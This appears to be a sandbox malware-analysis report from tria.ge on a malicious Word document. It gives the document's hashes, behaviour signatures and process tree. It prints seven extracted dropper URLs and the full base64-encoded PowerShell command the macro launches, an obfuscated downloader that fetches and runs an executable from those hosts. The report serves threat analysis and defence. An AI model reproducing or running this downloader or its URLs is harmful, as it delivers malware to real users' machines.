Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/05/2024, 18:11

General

  • Target

    7de5db6870aab3425bcf4f0b03977d4e_JaffaCakes118.doc

  • Size

    155KB

  • MD5

    7de5db6870aab3425bcf4f0b03977d4e

  • SHA1

    74afe807f26bc2d2676f6924fc671055a6cbd52e

  • SHA256

    c0d8ad4aed593521165bea2e923bbe309fac7277745027f3a54b57d4ac76161a

  • SHA512

    c5193f951b776b48d634d76c5288ef72450188926210df8eed3b085fc9e61b4ca1cf0035bf0a0a619c0a66e16c230a4ed6811964b1ccf314c9a76d4cd3492587

  • SSDEEP

    1536:CINj/tINj/ardi1Ir77zOH98Wj2gpngB+a9/pNvuaRlYYP46/3k/W+U9iSvgR0wW:VrfrzOH98ipgrNQYP4zIa0wW

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://asfckmusic.com/axhhy/2/

exe.dropper

http://webtalavera.com/site/1nBdLgY/

exe.dropper

http://varthana.com/archive/sEaku/

exe.dropper

http://rjsoft.nl/helpdesk/8TQ54h/

exe.dropper

http://zoomandshootphotography.com/wp-includes/MPkwrU2/

exe.dropper

http://prodel.com.br/pedidos/Sp9/

exe.dropper

http://iemsys.co.za/fsffa.co.za/2ntFq/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7de5db6870aab3425bcf4f0b03977d4e_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4952
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABXADcAYgBqAGcAcgBrAD0AKAAoACcASgBpACcAKwAnAHQAdAAnACkAKwAnAHQAJwArACcAbQAzACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBTAGUAcgBwAFIATwBmAGkAbABFAFwAZgBRAFIAZQBZAGYAdQBcAGcAdwBVAHEAVABmADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBjAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAHUAUgBpAFQAYABZAFAAYABSAGAATwB0AGAAbwBjAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbAAnACsAJwBzADEAMgAsACcAKQArACcAIAAnACsAJwB0AGwAJwArACgAJwBzADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAEsAMABvADkAbAB0AGgAIAA9ACAAKAAoACcAWgAnACsAJwB0AGYAcwAnACkAKwAnAHEAdwAnACsAJwBhACcAKwAnADkAcAAnACkAOwAkAEUAZABoADQAYQBpAGYAPQAoACcAQwAnACsAKAAnAHAAcgAnACsAJwAwAHUAMgAnACkAKwAnAGYAJwApADsAJABCADAAcQBwADEAMwBqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9AEYAcQByAGUAeQBmAHUAJwArACcAewAwACcAKwAnAH0ARwAnACsAJwB3ACcAKwAnAHUAcQB0AGYANQB7ADAAfQAnACkALQBGACAAIABbAGMAaABhAFIAXQA5ADIAKQArACQASwAwAG8AOQBsAHQAaAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAFQAcAB3AGEAegA4ADYAPQAoACgAJwBNAF8AYQBsACcAKwAnAG4AJwApACsAJwBqACcAKwAnADcAJwApADsAJABUAHUAdQBlAGgAeAA4AD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcARQBiAEMAbABJAGUATgB0ADsAJABVAHcANAA5AHIAOABqAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoAJwArACgAJwAvAC8AYQAnACsAJwBzACcAKQArACgAJwBmAGMAawBtAHUAcwAnACsAJwBpACcAKwAnAGMAJwArACcALgAnACsAJwBjAG8AbQAvAGEAJwApACsAKAAnAHgAaABoAHkALwAyAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8ALwB3AGUAYgB0AGEAbABhACcAKwAnAHYAJwArACcAZQByAGEALgBjAG8AJwArACcAbQAvAHMAaQB0AGUAJwArACcALwAnACkAKwAoACcAMQBuACcAKwAnAEIAJwArACcAZABMAGcAWQAvACoAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwAnACkAKwAoACcAdgBhACcAKwAnAHIAJwApACsAJwB0ACcAKwAoACcAaABhAG4AYQAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGEAJwApACsAKAAnAHIAJwArACcAYwBoAGkAdgAnACkAKwAoACcAZQAvACcAKwAnAHMARQBhAGsAJwArACcAdQAnACkAKwAnAC8AKgAnACsAJwBoACcAKwAnAHQAJwArACgAJwB0AHAAOgAvAC8AcgBqAHMAJwArACcAbwAnACsAJwBmAHQALgAnACkAKwAoACcAbgBsAC8AJwArACcAaABlAGwAJwArACcAcABkAGUAcwBrACcAKQArACgAJwAvACcAKwAnADgAVAAnACkAKwAoACcAUQA1ACcAKwAnADQAaAAnACsAJwAvACoAJwApACsAJwBoAHQAJwArACcAdABwACcAKwAoACcAOgAvAC8AJwArACcAegBvACcAKQArACgAJwBvAG0AYQBuACcAKwAnAGQAcwBoAG8AbwAnACsAJwB0ACcAKQArACcAcAAnACsAKAAnAGgAbwB0AG8AJwArACcAZwAnACsAJwByAGEAcABoAHkALgAnACsAJwBjAG8AbQAvAHcAcAAtAGkAbgAnACkAKwAoACcAYwAnACsAJwBsAHUAZAAnACkAKwAoACcAZQAnACsAJwBzAC8AJwArACcATQBQAGsAdwAnACkAKwAoACcAcgBVACcAKwAnADIAJwApACsAKAAnAC8AKgBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8AJwArACcALwBwAHIAJwApACsAJwBvAGQAJwArACcAZQBsACcAKwAoACcALgAnACsAJwBjAG8AJwApACsAKAAnAG0ALgAnACsAJwBiACcAKQArACgAJwByAC8AJwArACcAcABlAGQAaQAnACkAKwAoACcAZABvAHMALwBTAHAAOQAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACcALwAvACcAKwAoACcAaQAnACsAJwBlAG0AJwArACcAcwB5AHMALgBjAG8AJwApACsAKAAnAC4AegBhACcAKwAnAC8AZgBzAGYAZgAnACsAJwBhAC4AJwApACsAKAAnAGMAJwArACcAbwAuACcAKQArACgAJwB6AGEALwAnACsAJwAyACcAKQArACcAbgAnACsAKAAnAHQAJwArACcARgBxAC8AJwApACkALgAiAHMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgA5AGsAZwA2AHUAaAA9ACgAJwBKACcAKwAnADAAJwArACgAJwBqAG0AJwArACcAbQBhAF8AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAGcAagBuADkAOAAxACAAaQBuACAAJABVAHcANAA5AHIAOABqACkAewB0AHIAeQB7ACQAVAB1AHUAZQBoAHgAOAAuACIARABgAE8AdwBuAEwAbwBgAEEARABGAGAASQBsAGUAIgAoACQASQBnAGoAbgA5ADgAMQAsACAAJABCADAAcQBwADEAMwBqACkAOwAkAEkAYgA1AHYAbABvAHQAPQAoACcARwAnACsAKAAnAHEAbQAnACsAJwBiACcAKQArACgAJwBpACcAKwAnADUAaAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABCADAAcQBwADEAMwBqACkALgAiAGwAYABFAE4ARwBgAFQASAAiACAALQBnAGUAIAAzADYAMwAzADgAKQAgAHsALgAoACcASQBuACcAKwAnAHYAbwBrAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQAQgAwAHEAcAAxADMAagApADsAJABJAGUAdwBxADAAdgBpAD0AKAAnAEkAeAAnACsAKAAnADIAeQB0ACcAKwAnAHAAcQAnACkAKQA7AGIAcgBlAGEAawA7ACQAUAAwAG0AcABsADUAcAA9ACgAKAAnAEEAMAAnACsAJwBvAGkAZwBkACcAKQArACcAdQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAMwBfADgAbwAwAG4APQAoACcAUAAnACsAKAAnAG8AYQAyADMAJwArACcAeAAxACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1748

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDA91C.tmp\iso690.xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g3bnd2hk.evq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1748-83-0x0000020C76CA0000-0x0000020C76CC2000-memory.dmp

    Filesize

    136KB

  • memory/4952-10-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-4-0x00007FFAF4130000-0x00007FFAF4140000-memory.dmp

    Filesize

    64KB

  • memory/4952-5-0x00007FFB3414D000-0x00007FFB3414E000-memory.dmp

    Filesize

    4KB

  • memory/4952-6-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-8-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-7-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-1-0x00007FFAF4130000-0x00007FFAF4140000-memory.dmp

    Filesize

    64KB

  • memory/4952-9-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-11-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-13-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-12-0x00007FFAF17D0000-0x00007FFAF17E0000-memory.dmp

    Filesize

    64KB

  • memory/4952-14-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-16-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-15-0x00007FFAF17D0000-0x00007FFAF17E0000-memory.dmp

    Filesize

    64KB

  • memory/4952-17-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-18-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-20-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-21-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-570-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-36-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-37-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-64-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-65-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-66-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-3-0x00007FFAF4130000-0x00007FFAF4140000-memory.dmp

    Filesize

    64KB

  • memory/4952-0-0x00007FFAF4130000-0x00007FFAF4140000-memory.dmp

    Filesize

    64KB

  • memory/4952-92-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-2-0x00007FFAF4130000-0x00007FFAF4140000-memory.dmp

    Filesize

    64KB

  • memory/4952-19-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-571-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-575-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4952-598-0x00007FFAF4130000-0x00007FFAF4140000-memory.dmp

    Filesize

    64KB

  • memory/4952-601-0x00007FFAF4130000-0x00007FFAF4140000-memory.dmp

    Filesize

    64KB

  • memory/4952-600-0x00007FFAF4130000-0x00007FFAF4140000-memory.dmp

    Filesize

    64KB

  • memory/4952-599-0x00007FFAF4130000-0x00007FFAF4140000-memory.dmp

    Filesize

    64KB

  • memory/4952-602-0x00007FFB340B0000-0x00007FFB342A5000-memory.dmp

    Filesize

    2.0MB